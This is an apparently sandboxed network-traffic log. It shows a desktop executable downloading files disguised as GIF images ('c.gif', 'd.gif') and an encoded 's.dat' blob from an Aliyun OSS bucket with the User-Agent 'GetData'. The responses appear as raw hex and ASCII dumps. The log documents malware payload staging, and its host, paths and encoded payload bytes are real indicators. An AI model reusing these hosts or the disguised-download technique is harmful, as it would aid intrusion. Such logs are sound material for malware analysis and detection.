2025-01-05 09:11:27 UTC	111	OUT	GET /c.gif HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:28 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:27 GMT Content-Type: image/gif Content-Length: 10681 Connection: close x-oss-request-id: 677A4CBF7A62AC31309C0E73 Accept-Ranges: bytes ETag: "10A818386411EE834D99AE6B7B68BE71" Last-Modified: Sat, 04 Jan 2025 09:22:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10287299869673359293 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: EKgYOGQR7oNNma5re2i+cQ== x-oss-server-time: 13
2025-01-05 09:11:28 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-05 09:11:28 UTC	4096	IN	Data Raw: 4d cf 62 ff 5a 3f 30 31 3a fe ee 75 37 8a ba 5b 85 e1 ec 6b 35 10 78 f6 6d 36 3d 23 d2 d0 cd ab db f8 37 32 1f 37 11 bf 96 19 b0 c6 be a6 a0 ee eb 24 5d 48 ae 73 f3 f5 c5 94 b0 70 dd c6 5c 11 f5 e3 28 66 41 36 66 ef 88 eb 8b 2d 92 d1 9e 9a 8e 78 c0 74 34 67 7b b1 f3 fc 59 49 81 89 f5 cf 42 a2 b8 b8 7a d9 bb 7f 45 04 62 02 52 34 b9 0e 45 7f ce ff c3 12 7c ec ed 9c 64 e7 85 d4 e8 6d e9 e8 2d c8 3d 69 6a 0d 66 e5 c2 e6 27 9e d7 9e 98 68 92 43 fb c4 05 18 16 a9 a8 72 cc e5 66 13 b1 0c 24 22 dc 23 42 b1 c5 b3 c5 9f fd f3 d6 88 82 8e d7 81 8f 50 ee 36 68 55 e9 6b 5a ae a1 ec ca 4e e8 e9 82 52 74 0c 38 e0 2c 9b 17 6f 51 cf 4d 52 2a df 70 1d 00 4d 53 4a 65 f0 2f 99 7a fa 82 f9 0c fb 20 75 c3 54 ed 1d 83 3b 0b af 29 d0 11 b9 47 4d 64 2c b9 73 9e 4e 8d b6 ee f3 66 Data Ascii: MbZ?01:u7[k5xm6=#727$]Hsp\(fA6f-xt4g{YIBzEbR4E\|dm-=ijf'hCrf$"#BP6hUkZNRt8,oQMR*pMSJe/z uT;)GMd,sNf
2025-01-05 09:11:28 UTC	3035	IN	Data Raw: 0f 4c 5d 7f 79 25 b9 af f5 fa ff 2d d5 2f 9e 63 5a b4 eb 3c f8 2b dc 07 58 64 ef 7d 5f 68 f0 fa 8a e5 34 38 ff db ca a6 fb c5 61 06 c2 2a ef f0 07 da ad 1f 37 88 9e 3f 37 39 3a 64 4f 74 4c 1c 4f ed 8c 04 e8 32 2f 75 52 85 d3 c1 84 aa 26 20 b4 ef d2 50 e0 65 aa 59 8a eb 7f 04 7f cb 20 fc 09 65 90 40 b9 6c 83 0b ea fe ae a2 b0 2a 83 e0 55 8e c7 4f 10 9c 2e 0c 87 d5 7f 34 18 a1 4d 99 78 06 2b 80 c4 6e 0a 78 03 f4 c4 a6 5d 85 aa fc ce ec 05 9f 47 96 b7 e0 d0 c3 4d 07 1c 93 32 b7 41 1d f1 42 ea c2 af 1c 76 47 ce 69 21 ab b9 ca b8 0d 8c 28 8a f0 3e 70 0a d6 52 7a b0 e5 4d 54 5e 49 25 92 dc fe f8 6f c3 6a 72 b7 08 1a 6f 03 1f b2 0c dc f0 35 6c 4f a9 29 7a c1 f4 63 78 16 6c d9 94 34 46 75 19 48 f8 2d 56 35 df 65 55 d3 05 98 53 87 ae 10 a2 c3 46 bc c5 1c 6f 69 f0 Data Ascii: L]y%-/cZ<+Xd}_h48a7?79:dOtLO2/uR& PeY e@lUO.4Mx+nx]GM2ABvGi!(>pRzMT^I%ojro5lO)zcxl4FuH-V5eUSFoi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	62775	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:29 UTC	111	OUT	GET /d.gif HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:29 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:29 GMT Content-Type: image/gif Content-Length: 3892010 Connection: close x-oss-request-id: 677A4CC19932F13535F350C6 Accept-Ranges: bytes ETag: "E4E46F3980A9D799B1BD7FC408F488A3" Last-Modified: Sat, 04 Jan 2025 09:22:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3363616613234190325 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5ORvOYCp15mxvX/ECPSIow== x-oss-server-time: 25
2025-01-05 09:11:29 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 97 9b 9d 99 9d 9b 95 97 95 8b 8d 89 8d 8b b5 b7 b5 bb bd bf 2d db b5 b7 b1 8b 8d 8f 8d 8b 95 95 95 fb 9c 9f 9d 8b 95 97 95 8b 8d 8f 9d 8b f5 f7 f5 fb fd ff fd eb f5 f7 f5 8b 8d 8f 9d 8b 95 97 95 9b 9d 9f 9d 9b 95 87 95 8b 8d 8f 12 a4 b5 e6 b5 bb bd ff 4a 92 b5 3b b5 8b 8d 8f 0d eb 95 77 94 9b 9d df 82 fb 95 0f a8 8b 8d 8f 8d 8b 75 77 75 7b 7d 7f 1d 1b 75 47 60 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b b5 b7 b5 bb bd bf bd bb b5 b7 b5 8b 8d 8f 93 eb 95 d7 94 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f cd ae f5 7f f5 fb fd ff fd fb f5 f7 f5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d a1 f9 ee cd c3 b5 bb bd ef d4 ba b5 b7 a5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b 75 57 75 7b 1d 51 0f 1f 14 03 14 8b 8d f9 36 8b 95 Data Ascii: -J;wuwu{}uG`uWu{Q6
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 69 18 0b cc ef 77 23 0b dc 62 f5 92 bd ff f0 55 8b 71 aa 3a 3d 2b 0e e8 a2 e1 cd ea 57 ca 72 3f 3b a3 53 99 f3 19 2d 50 82 0e 0d 67 11 12 78 ff f7 c0 c2 9c d0 1f 35 b3 d6 c1 15 8b 71 1a 1f 9f 00 52 44 b6 6f bf 5c 42 7e 10 b4 79 e0 70 9b ec ea 3e 72 2b 74 62 9c c8 03 89 51 17 b4 ee 50 26 6c f4 04 88 dc ad 35 53 4d 06 b8 17 18 42 ac 5e c3 76 8a e3 0f 55 bd 10 fb 3f 3d a9 48 9d ea 3a a4 e2 a6 b4 3f 76 ce a4 1c 7c fb f9 82 7d fe 97 54 b4 b3 68 d2 ca 6b fa 63 cb 18 ff 4a 19 f9 7b ce a8 14 4b 2d e1 e4 ac ec 85 7b 1e 75 a1 29 ef 25 b4 c1 12 a6 c8 7c 21 bf 95 a2 cb d0 51 3b 62 af 3a aa cc 42 6d 00 8c 79 d0 be 06 b6 82 9f 76 84 17 1f 9e 9d b0 29 42 92 30 ee 02 cb 2e 78 cc a6 12 f0 07 e3 66 63 9f 49 05 39 61 2f 8e d5 7d 9a 70 87 1f c6 95 13 f3 f5 88 62 22 f4 1a 33 Data Ascii: iw#bUq:=+Wr?;S-Pgx5qRDo\B~yp>r+tbQP&l5SMB^vU?=H:?v\|}ThkcJ{K-{u)%\|!Q;b:Bmyv)B0.xfcI9a/}pb"3
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 59 fc a8 65 45 fc 8d 05 fd fb b3 9f 14 a2 f6 f8 cc c4 eb 39 9d d3 a3 9f a0 42 0a 18 58 74 c7 69 1d eb 8b bf f8 0a 86 d0 b8 94 b7 61 b0 9e 73 a2 69 b3 40 d3 c4 61 59 75 53 34 0e c7 4a cf b1 8f a5 1c 40 ae d5 10 f9 b3 9d 63 52 15 9e 8b 52 f6 a8 f0 ad 49 d7 f7 72 8e 78 64 f5 39 5f 0b 52 de 78 1c 55 45 37 4b fa 52 4d 22 ef 1a 7a 2b 77 55 11 34 b8 02 76 4b bc 41 00 36 50 70 72 34 04 b2 fc fc b3 02 62 64 d3 fa df dd e5 b8 e2 bd 6c e5 a6 e2 23 8e 49 61 66 4b de 3e d6 1f 11 74 6a d1 49 c0 da 1e df 8c f9 36 8a 61 dc e3 8e c6 1a 21 61 99 12 00 4b bc 3f 2f 86 71 66 94 e7 b9 fd a5 2f a6 09 9c b6 7f c9 3c 7d 99 5e d8 fd f5 f6 1c ce 71 0e c8 38 12 5d a5 a6 a8 b9 81 05 24 3e 7f 87 5f e9 b2 ac d8 50 4b 41 40 ae 76 80 40 a4 58 df 93 6f bb a4 25 c4 dc 1b f9 98 6d 46 50 50 Data Ascii: YeE9BXtiasi@aYuS4J@cRRIrxd9_RxUE7KRM"z+wU4vKA6Ppr4bdl#IafK>tjI6a!aK?/qf/<}^q8]$>_PKA@v@Xo%mFPP
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 82 6b 24 f1 76 c7 84 af a6 d8 72 87 9e 02 98 c2 20 b2 f1 7e 40 de 11 c4 b7 04 70 3b 4c f8 6d db 2d a9 ce 60 f5 10 4c 12 54 c5 c0 72 2e a1 d8 20 3a 3e 2a 25 eb 4b 0d 65 55 1a c4 48 1a 5e 6a 05 eb 8f 85 11 75 4e 9c 4d 91 ea 1e 6c 58 58 23 d5 a9 a7 43 0b 1c de b1 07 fa 5d 5e fb 87 19 ab 0f 82 15 1e ba 6f f1 63 c6 da 5d 0e ab af 31 1b bf 5a cd f6 53 1f 80 ab 2c 54 0f 0f 1b 81 1b a2 ce 13 0d 34 7e c8 33 6a cb 2c 24 f8 95 15 fe 8e 9d b5 5f fa 6f 6b 71 de 1e b5 8b 59 19 1d 09 5e ac 7c 16 63 9b d8 c8 b4 27 9d 9d bb 43 03 b0 6a a2 cc 20 6c 87 15 fd 83 53 0b 74 ba be 94 f4 dc 67 c5 f1 cb 96 3f f5 5d c0 5a b8 19 35 ae dd 45 b8 22 e8 49 6d f7 25 8d 40 da 70 d0 35 af 4d f4 b8 23 50 f0 45 df 6d c4 90 0a 98 39 7d 78 78 2e 64 92 61 cf c0 27 77 aa e9 3f f8 8d 38 ff 14 79 Data Ascii: k$vr ~@p;Lm-`LTr. :>*%KeUH^juNMlXX#C]^oc]1ZS,T4~3j,$_okqY^\|c'Cj lStg?]Z5E"Im%@p5M#PEm9}xx.da'w?8y
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: 7d 65 0f 82 22 33 6c 58 70 0d b8 a6 df ea 7b 6d 7a 5f 99 fd 73 8d 00 c9 26 96 32 5f 9a 2d 5f 52 cd c3 af 35 d2 10 ab ac 7d 75 1f 92 32 53 12 21 c0 0e a8 ca d8 dd c7 d0 35 03 63 e9 2c 3e eb 04 88 24 5d 20 1c fa f5 63 e0 67 b3 2a db a8 82 4f 91 91 6e 78 3a 77 32 95 d2 d2 f3 31 f7 3a 09 7f 6b 09 80 20 ed f3 ca fa b6 ca 1e 07 6f f1 ea 8e 7e 4f df f1 ee 66 ca 0f a7 51 14 14 36 25 dc 96 50 91 b0 60 93 09 88 28 f5 58 20 ee bf f1 ff 75 17 d6 a0 c8 e1 27 4f 1e 06 29 03 1c 90 34 5d e2 3e e3 1d 28 c6 67 37 ac 93 2b e2 78 8e 2e d7 4d 83 2a 0a 90 3e 9f 8f 15 a3 7a 0a 90 76 d6 47 dd 4b e2 82 19 56 f6 3f ee a6 6f 8c 4a 79 5f df 1d 79 90 90 40 b3 29 a8 08 35 66 cc 97 f8 29 cb b8 4b 89 f7 f9 13 42 7a ec 0b d1 0c f7 79 ec 74 3d d3 55 25 47 d7 82 00 94 7d a5 84 da b6 7d d4 Data Ascii: }e"3lXp{mz_s&2_-_R5}u2S!5c,>$] cgOnx:w21:k o~OfQ6%P`(X u'O)4]>(g7+x.M>zvGKV?oJy_y@)5f)KBzyt=U%G}}
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: e8 d2 e7 86 d8 b8 2d 86 04 1b e1 8b 98 09 7a 3b fe 9c 4d 52 15 f8 12 ed 29 9d a8 0f 40 e6 e5 0b eb ad 15 c7 ff 17 26 89 1c e1 b5 91 c7 16 33 50 17 9c 37 41 d3 06 73 61 28 5f ab 72 93 98 00 8a 6a 27 25 8b 41 b0 e7 2a 40 2e 6b be e6 f0 18 0c d2 28 51 ab 0c 08 02 67 5f 1a 0c 87 3a cc d9 74 dd c0 fd 7b 99 48 59 37 8d c3 26 3f 4d cf ea ea 8f 47 36 91 83 9c f4 2f 52 87 f9 10 b6 44 68 27 93 d2 36 2f 5d 2c 59 59 de 90 b4 e8 85 d4 e9 71 8f 42 65 b0 d8 16 f6 ff 1e 3b 4d 23 fa 1f 9e 5f 66 d6 96 8f 3f 35 40 28 de 44 3a fe c4 20 45 37 b3 18 0e ff ad 2b a7 83 7e 88 3a 6c b9 b9 31 4d dd 30 2d 5f e5 98 94 26 e7 f1 17 4f ba 13 8e 17 f2 ca 4c 08 6f 8e 74 4a 05 8d c4 24 3d 4b fb 22 c3 67 31 f6 85 11 26 a8 6e cf 31 7a 78 b7 f3 05 66 c0 b6 4d c3 3a 0e 1c bb 55 6d 30 27 5a a7 Data Ascii: -z;MR)@&3P7Asa(_rj'%A*@.k(Qg_:t{HY7&?MG6/RDh'6/],YYqBe;M#_f?5@(D: E7+~:l1M0-_&OLotJ$=K"g1&n1zxfM:Um0'Z
2025-01-05 09:11:29 UTC	4096	IN	Data Raw: ed 6d 99 07 e4 c7 b2 15 b2 42 6c 84 38 c1 7d 64 0c 9a 79 ff 71 01 27 59 e8 ac 0f 20 7d b1 81 7f 87 9c 7d 37 13 a4 d8 58 fb d7 aa 0d 1a 88 06 95 72 33 fc a9 08 eb 61 e5 1b 19 63 d2 aa 09 e2 b9 52 e1 a4 8a 08 e0 3b 67 e2 cf e9 55 97 b7 28 79 76 3f a4 7b d0 9c 14 c0 80 dc ab f5 4d 7c f8 cf 89 4a 4c ec 7a 99 13 8b 9f bf 89 fd cb 07 5c 57 9b f8 f0 51 1b 72 ea b3 52 b0 4e d4 50 16 0e f6 43 a8 45 5e f8 99 90 3e a9 4a 8f 23 54 4d 98 d2 f6 51 e0 54 ce c8 f3 3b ec 5d 4b 96 31 6f 39 fe 82 8b 66 a4 22 6a 74 1d 57 6f 34 15 b0 16 87 b1 79 02 74 8a 6e 8c ba ef c4 ed 35 cc c8 82 2e 56 35 d3 9b 89 05 6d 16 f0 98 8a 0e 66 25 2b c7 a1 c9 f5 3e b0 50 22 fe a6 40 5f f9 be 1c 04 3a 5e 6a f5 4b 68 7a cb ed b4 ba f8 98 a8 7f 86 9c b5 87 da e8 1e 72 b0 c5 a5 2a a9 48 4a cf 41 64 Data Ascii: mBl8}dyq'Y }}7Xr3acR;gU(yv?{M\|JLz\WQrRNPCE^>J#TMQT;]K1o9f"jtWo4ytn5.V5mf%+>P"@_:^jKhzr*HJAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	62776	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:37 UTC	111	OUT	GET /s.dat HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:38 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:37 GMT Content-Type: application/octet-stream Content-Length: 28272 Connection: close x-oss-request-id: 677A4CC95A53BB303200AE91 Accept-Ranges: bytes ETag: "85C558B2E6A863EF997650572603558A" Last-Modified: Sun, 05 Jan 2025 09:06:01 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16094947486928981281 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: hcVYsuaoY++ZdlBXJgNVig== x-oss-server-time: 2
2025-01-05 09:11:38 UTC	3536	IN	Data Raw: f5 e2 28 b8 bb b8 b8 b8 bc b8 b8 b8 47 47 b8 b8 00 b8 b8 b8 b8 b8 b8 b8 f8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 50 b8 b8 b8 b6 a7 02 b6 b6 02 bf 7b 5a c3 7a 37 fa 16 63 5f 36 2c 7f 2f 5d 40 48 5d 3c 30 7d 3e 5f 50 50 51 25 71 33 34 14 46 41 5a 7a 33 34 7a 3e 35 29 5a 37 35 3e 3f 11 32 32 35 11 35 35 35 35 35 35 35 f6 81 47 5c db 89 40 66 e1 b3 7a 5c db 89 40 66 e1 b3 7b 5c e4 89 40 66 e8 cb e9 5c d8 89 40 66 e8 cb ef 5c d8 89 40 66 e8 cb f9 5c df 89 40 66 e8 cb f0 5c d5 89 40 66 e8 cb ee 5c da 89 40 66 e8 cb eb 5c da 89 40 66 34 0f 05 0e 89 db 12 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 64 71 34 34 50 b2 3c 34 c2 67 ad 62 62 62 62 62 62 62 62 62 92 62 40 Data Ascii: (GGP{Zz7c_6,/]@H]<0}>_PPQ%q34FAZz34z>5)Z75>?2255555555G\@fz\@f{\@f\@f\@f\@f\@f\@f\@f44444444444444444444444444dq44P<4gbbbbbbbbbb@
2025-01-05 09:11:38 UTC	4096	IN	Data Raw: 5f 05 23 23 56 27 a8 d8 33 c7 9d eb 2b a7 66 a7 83 f7 ef 2a 7e 0e 7a 6b e6 23 60 e2 be c6 b2 1d 08 46 3b 1d 1d 96 61 39 69 71 02 d2 a7 c2 59 15 5c 9c 11 31 89 34 31 31 b1 d8 bd 31 31 31 75 0a e5 79 0d b1 b4 b1 b1 31 da 49 d9 4c 5a 4c 4c 04 8f f4 4c 3f fc 4a 38 87 86 87 87 47 ac 2b 0a cc 09 ff 1e 84 0f 49 6c b1 90 b1 b1 f5 7e eb b1 7e 8d 3a f7 23 23 1a 3d 55 1c 1d d6 90 84 dc 1d fe de b7 75 bb 43 f3 36 f6 f4 bf 7b a3 b3 eb 2a e6 12 a7 6d a3 a3 e2 1b a3 a2 a3 a3 2a 6f d6 6b 25 92 60 2b 43 ca 06 43 ab 0f b6 ab ab ea 54 6d e2 63 27 ca e3 e3 e3 ab 62 a7 72 63 62 62 26 59 54 26 eb df 9b 10 58 d2 12 1e 36 5a 99 c5 bd c1 d1 5a bd f5 b1 f9 32 75 91 d0 cf d0 cc 8d 90 93 92 51 5e 5e 5e 92 92 92 92 da 19 56 da 53 82 d2 92 1b fa 82 da 53 aa c2 92 1b ea b2 d3 87 92 86 Data Ascii: _##V'3+f~zk#`F;a9iqY\1411111uy1ILZLLL?J8G+Il~~:##=UuC6{m*ok%`+CCTmc'brcbb&YT&X6ZZ2uQ^^^VSS
2025-01-05 09:11:38 UTC	4096	IN	Data Raw: 07 0a aa de df de de 96 1b c2 b2 b2 fa 3f fe 96 b6 d3 a5 5f 1a 6c 9f 6c b7 ab 28 48 78 54 49 48 48 b7 5d e9 fe e9 e9 a1 2c ed 85 91 6e 84 1f 86 86 86 0d c2 e6 f6 86 4f 14 4e cc b7 b2 c2 9e 3c 78 18 04 bf 47 bd ca b7 3a ef b6 5e d1 5e 5e 5e 1f 65 9d 2b 21 90 29 2b 2b 2b c2 ab ab ab ab 90 53 e5 ec d1 5a 0a 3a a6 25 5e a0 d3 84 58 97 f7 cf b6 cc 34 41 24 70 0c 90 28 46 0d 0d 0d 02 98 5b 1b 5b 9e 75 c7 a5 5d 28 4d 19 65 f9 41 2f 64 64 64 6b f1 32 72 32 f5 1e b0 76 0d 0f 78 1d 49 71 d5 6d 03 02 03 03 0c 99 cf 8f cf c7 24 ff 4c b4 4f 39 67 23 5f fb 43 09 42 43 43 4c d6 80 c0 03 ca 2b db 58 23 d1 ae b8 97 f2 8a b2 ff 9a ce f6 52 ea 84 85 84 84 3c 30 3c 3c 3c 33 78 e4 7d 56 a6 09 4a 0b 61 91 3e 15 7f 15 e5 91 fa a4 ce 15 ba ef 8f a4 54 fb 93 d2 b8 48 e7 ee a6 dc Data Ascii: ?_ll(HxTIHH],nON<xG:^^^^e+!)+++SZ:%^X4A$p(F[[u](MeA/dddk2r2vxIqm$LO9g#_CBCCL+X#R<0<<<3x}VJa>TH
2025-01-05 09:11:38 UTC	4096	IN	Data Raw: 30 4a 59 ce 0f c9 ba f8 0e 39 f9 8c 87 c4 73 45 cf 41 4f 0c f3 c4 84 0d fb cc 0f 79 76 31 fa 90 92 f6 1b 94 9e dd 17 7c 7e 1a f5 7d 8b bc 79 09 04 41 8a e0 e4 6b e4 ea a3 69 02 ee 67 ef a3 65 ad 2c a4 8c 89 f9 dc c1 4a 09 88 00 e9 03 74 14 5c 97 fd 1c 54 97 18 16 5f e9 df 5e d7 5f 2b ae e7 2d 4e a9 e4 2c 69 dc db 95 57 1f dc 10 00 1f 57 e0 d6 95 91 9f dc 6a a2 e2 6b 1f ec 56 94 dc 1f ba ba ba dc dc dc dc d3 c3 58 dc dc dc dc dc ba ba ba 4c 2a 2a dc 05 84 fc 05 25 25 25 56 67 2f ec 23 6d 95 21 e6 39 33 c9 71 ba 53 9a f2 33 72 2b 7f ba eb aa f2 31 75 3b 39 7d f6 69 77 34 cb fd 7c bd fc b5 f1 34 25 41 e1 7d fe 9d 62 94 e7 6b 6b 6b 0d 0d 0d 0d 02 12 89 0d 0d 0d 0d 0d 6b 9d 45 8c 76 8c 7c 73 8c 04 c6 cb eb cb cb cb 83 4a 22 4b 4b 4b 4b 44 5c 40 4e 4b 53 0f 41 Data Ascii: 0JY9sEAOyv1\|~}yAkige,Jt\T_^_+-N,iWWjkVXL**%%%Vg/#m!93qS3r+1u;9}iw4\|4%A}bkkkkEv\|sJ"KKKKD\@NKSA
2025-01-05 09:11:38 UTC	4096	IN	Data Raw: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 68 7b 60 ab 47 9b e3 20 f9 68 ad 35 1d 35 35 35 7d b8 79 11 31 ee 04 f4 3b 0b 0b bc 31 f0 98 9c 63 89 4e 53 ac ac 1b d8 93 d0 27 cd 15 02 32 32 7a b1 f6 02 59 c1 ce ce 92 ce 8a ce a1 ce bd ce 8a ce ab ce b8 ce a7 ce ad ce ab ce bd ce 92 ce 9a ce bc ce bb ce ab ce 9d ce a7 ce a9 ce a6 ce ba ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((h{`G h5555}y1;1cNS'22zY
